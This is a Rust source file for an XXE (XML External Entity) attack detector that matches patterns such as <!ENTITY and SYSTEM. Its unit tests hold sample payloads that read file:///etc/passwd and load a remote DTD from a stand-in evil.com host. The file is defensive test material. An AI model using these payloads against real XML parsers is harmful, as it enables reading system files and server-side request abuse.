Skip to main content

security_rust/protocol/
xxe.rs

1// Copyright (c) 2026 erik <erik@erik.xyz> — https://erik.xyz
2
3use regex::Regex;
4use std::sync::LazyLock;
5
6use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
7
8static PATTERNS: LazyLock<Vec<Regex>> = LazyLock::new(|| {
9    vec![
10        Regex::new(r"(?i)<!ENTITY\s+").unwrap(),
11        Regex::new(r#"(?i)SYSTEM\s+["']"#).unwrap(),
12        Regex::new(r#"(?i)PUBLIC\s+["']"#).unwrap(),
13        Regex::new(r"(?i)<!DOCTYPE\s+").unwrap(),
14    ]
15});
16
17pub struct XxeDetector;
18
19impl Detector for XxeDetector {
20    fn name(&self) -> &'static str {
21        "xxe"
22    }
23
24    fn detect(&self, input: &str) -> Option<DetectionResult> {
25        regex_detect(
26            &PATTERNS,
27            self.name(),
28            AttackCategory::Protocol,
29            Severity::Critical,
30            "XXE XML External Entity attack detected",
31            input,
32        )
33    }
34}
35
36#[cfg(test)]
37mod tests {
38    use super::*;
39
40    fn assert_detected(input: &str) {
41        crate::test_helpers::assert_detected(
42            &XxeDetector,
43            input,
44            AttackCategory::Protocol,
45            Severity::Critical,
46        );
47    }
48
49    fn assert_clean(input: &str) {
50        crate::test_helpers::assert_clean(&XxeDetector, input);
51    }
52
53    #[test]
54    fn name_is_xxe() {
55        assert_eq!(XxeDetector.name(), "xxe");
56    }
57
58    #[test]
59    fn detects_inline_entity() {
60        assert_detected("<!ENTITY xxe SYSTEM \"file:///etc/passwd\">");
61    }
62
63    #[test]
64    fn detects_doctype_declaration() {
65        assert_detected(
66            "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>",
67        );
68    }
69
70    #[test]
71    fn detects_parameter_entity() {
72        assert_detected("<!ENTITY % param SYSTEM \"http://evil.com/xxe.dtd\">");
73    }
74
75    #[test]
76    fn detects_public_entity() {
77        assert_detected(
78            "<!ENTITY xxe PUBLIC \"-//W3C//DTD XHTML 1.0//EN\" \"file:///etc/passwd\">",
79        );
80    }
81
82    #[test]
83    fn detects_mixed_case_markup() {
84        assert_detected("<!entity xxe system \"file:///etc/passwd\">");
85        assert_detected("<!doctype foo>");
86    }
87
88    #[test]
89    fn rejects_benign_xml() {
90        assert_clean("<note><to>Joe</to><from>Bob</from><body>Hi</body></note>");
91        assert_clean("<ENTITY>plain text</ENTITY>");
92        assert_clean("<!DOCTYPEfoo>");
93        assert_clean("SYSTEM\"file:///etc/passwd\"");
94        assert_clean("<!ENTITY>");
95    }
96
97    #[test]
98    fn rejects_near_misses() {
99        assert_clean("<!ENTITYxxe>");
100        assert_clean("<!ENTITY%xxe>");
101        assert_clean("SYSTEM /etc/passwd");
102    }
103
104    #[test]
105    fn rejects_empty_and_whitespace() {
106        assert_clean("");
107        assert_clean("   ");
108    }
109
110    #[test]
111    fn rejects_unicode_text() {
112        assert_clean("这是一段普通的中文 XML 描述文本");
113    }
114}